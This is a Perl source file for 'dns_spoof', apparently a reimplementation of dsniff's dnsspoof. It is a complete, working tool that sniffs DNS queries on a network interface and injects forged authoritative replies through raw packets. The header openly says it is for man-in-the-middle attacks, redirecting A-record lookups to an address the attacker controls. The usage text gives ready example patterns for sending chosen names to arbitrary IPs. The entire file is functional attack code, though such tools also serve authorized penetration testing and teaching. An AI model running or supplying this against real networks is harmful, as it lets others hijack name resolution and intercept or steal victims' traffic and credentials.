#!/usr/bin/perl -w
#
# dns_spoof, a new spin of a similar tool by a similar name:
# dnsspoof (part of dsniff), by dug song (http://monkey.org/~dsong)
#
# Fairly straight forward.  For a given set of DNS requests, where
# a request is a combination of a query type and a query name, respond back
# with another, possibly different set of response types and response
# names.
#
# The most basic use of this tool is to perform man in the middle (MiTM)
# attacks by responding to A record lookups with an IP address that you
# control.
#
# A more advanced attack involves sending DNS responses whose type differs
# from that of the original request.  As an example, return a TXT record
# containing 'hotdogs' for all lookups for example.com's A record.
#
# Use at your own risk.
#
#
# Jon Hart <jhart@spoofed.org>
#
################################
use strict;
#use diagnostics;
use warnings;
use Getopt::Long;
use Net::Pcap;
use NetPacket::Ethernet qw(:strip);
use NetPacket::IP;
use NetPacket::UDP;
use Net::RawIP;
use Net::DNS;
use Socket;
my %opts = ();
my ($err, $iface, @requests, %response, $ip, $name);
my (@patterns, @pattern_opts);
GetOptions( \%opts, 'help', 'interface=s', 'pattern=s' => \@pattern_opts, 'verbose') or
            die "Unknown option: $!\n" && &usage();
if (defined($opts{'help'})) {
   &usage();
   exit(0);
}
if (defined($opts{'interface'})) {
   $iface = $opts{'interface'};
} else {
   $iface = Net::Pcap::lookupdev(\$err);
   if (defined($err)) {
      print(STDERR "lookupdev() failed: $err\n");
      exit(1);
   } else {
      print(STDERR "No interface specified.  Using $iface\n");
   }
}
$ip = &getip();
$name = &gethost($ip);
if (@pattern_opts)  {
   foreach (@pattern_opts) {
      if (/^(\S+)\s+(\S+)\s+(\S+)\s+(.+)$/) {
         my ($qtype, $qname, $rtype, @rname) = ($1, $2, $3, $4);
         if ($qname =~ /^(\d{1,3}\.){1,3}\d{0,1}/) {
            # if an IP is specified, handle the reversal of the IP address
            $qname = join('.', reverse(split(/\./, $qname)));
         }
         push(@patterns, join(" ", $qtype, $qname, $rtype, @rname));
       }
   }
} else {
   # no patterns were specified, so simply return our information
   # for A and PTR records, which should be good for 75% of the time.
   push(@patterns, "A . A $ip");
   push(@patterns, "PTR . PTR $name");
}
my $main_pcap = &make_pcap($iface, defined($opts{'filter'}) ?
                  $opts{'filter'} : "dst port 53 and udp");
Net::Pcap::loop($main_pcap, -1, \&process, "foo");
Net::Pcap::close($main_pcap);
sub gethost {
   my $ip = shift;
   my $fake;
   my @hosts = gethostbyaddr(inet_aton($ip), AF_INET);
   if ($#hosts >= 0) {
      return $hosts[0];
   } else {
      print(STDERR "Unable to determine name for $ip.  Using random.\n");
      srand();
      for (my $i = 0; $i < int(5 + rand(5)); $i++) {
         $fake .= chr(int(rand(26)) + 97);
      }
      return $fake;
   }
}
# cheesy way of getting the correct source IP...
# should be cross-platform and not *too* hackish
sub getip {
   my $ip;
   open(IFCONFIG, "/sbin/ifconfig $iface|") or print(STDERR "Couldn't ifconfig: $!\n");
   while (<IFCONFIG>) {
      if (/inet\s+[\D:]*\s*([\d.]+)/) { $ip = $1; last; }
   }
   close(IFCONFIG);
   if (defined($ip)) {
      return $ip;
   } else {
      print(STDERR "Unable to determine IP address of $iface.  Using loopback\n");
      return "127.0.0.1";
   }
}
sub make_pcap {
   my $iface = shift;
   my $filter_string = shift;
   my $pcap_t = Net::Pcap::open_live($iface, 560, 1, 0, \$err);
   if (!defined($pcap_t)) {
      print("Net::Pcap::open_live failed on $iface: $err\n");
      exit 1;
   }
   my $filter;
   if (Net::Pcap::compile($pcap_t, \$filter, $filter_string, 0, 0) == -1) {
      print("Net::Pcap::compile failed: ", Net::Pcap::geterr($pcap_t), "\n");
      exit(1);
   }
   if (Net::Pcap::setfilter($pcap_t, $filter) == -1) {
      print("Net::Pcap::setfilter failed: ", Net::Pcap::geterr($pcap_t), "\n");
      exit(1);
   }
   return $pcap_t;
}
sub parse_l2 {
   # given what should be layer2, rip out and return layer3
   my $pcap = shift;
   my $pkt = shift;
   my $l3;
   my $link = Net::Pcap::datalink($pcap);
   if ($link == 1) {
      $l3 = NetPacket::IP->decode(eth_strip($pkt));
   } elsif ($link == 113) {
      # point-to-point
      # normal code would use eth_strip, but this isn't ethernet.
      # so, just assume IP is 16 out.
      $l3 = NetPacket::IP->decode(substr($pkt, 16));
   } else {
      print("Unknown link type: $link\n");
      exit(1);
   }
   return $l3;
}
sub process {
   my ($user, $hdr, $pkt) = @_;
   my $l3 = &parse_l2($main_pcap, $pkt);
   my $l4;
   if ($l3->{proto} == 17) {
      $l4 = NetPacket::UDP->decode($l3->{data});
   } else {
      return;
   }
   my $dns;
   if (length($l4->{data}) >= 15) {
      $dns = Net::DNS::Packet->new(\$l4->{data});
   } else {
      return;
   }
   if (defined($dns)) {
      QUESTION: foreach my $question ($dns->question) {
         PATTERN: foreach my $pattern (@patterns) {
            my ($p_qtype, $p_qname, $p_rtype, @p_rname) = split(/\s+/, $pattern);
            if (  ($question->qtype eq $p_qtype || $p_qtype eq '.') &&
                  ($question->qname =~ /$p_qname/ || $p_qname eq '.')) {
               $dns->header->qr(1);
               $dns->header->rd(1);
               $dns->header->ra(1);
               $dns->header->aa(1);
               $dns->header->cd(0);
               $dns->header->rcode("NOERROR");
               if ($p_rtype eq '.') { $p_rtype = $question->qtype; }
               my $res = join(" ", $question->qname, int(rand(1024)), $p_rtype, @p_rname);
               $dns->push("answer", rr_add($res));
               my $packet = new Net::RawIP({ ip  => { saddr => $l3->{dest_ip},
                                             daddr => $l3->{src_ip}
                                          },
                                 udp =>   {  dest => $l4->{src_port},
                                             source => 53,
                                             data => $dns->data
                                          }
                           });
               $packet->send;
               &verbose_print("Request: $l3->{src_ip}:$l4->{src_port} ->",
                              " $l3->{dest_ip}:$l4->{dest_port} ",
                              $question->qname, " ", $question->qtype, "\n",
                              "Response: $l3->{dest_ip}:53 ->",
                              " $l3->{src_ip}:$l4->{src_port} $res\n\n"
                              );
               last PATTERN;
            }
         }
      }
   }
}
sub usage {
   print <<EOF;
   $0 usage:
      [-i|--interface]  # set interface to send/receive on
      [-p|--pattern] "qtype qname rtype rname" # query type/name, response type/name.  use '.' for wildcard.
      [-v|--verbose]    # chatty!
   Examples:
      # return my information (IP, hostname) for all requests
      $0 -v
      # return 1.2.3.4 for all requests for example.com
      $0 -p "A example.com A 1.2.3.4"
      # return a TXT record for all requests for foobar
      $0 -p ". foobar TXT 'blahblah'"
      # return foobar.baf.com for all requests for 192.168.0.1's PTR
      $0 -p "PTR 192.168.0.1 PTR foobar.baf.com"
      # return example.com for any request for a PTR in 192.168.0.0/16
      $0 -p "PTR 192.168 PTR example.com"
EOF
}
sub verbose_print {
   $|=1;
   if (defined($opts{'verbose'})) {
      while (my $out = shift) {
         print $out;
      }
   }
}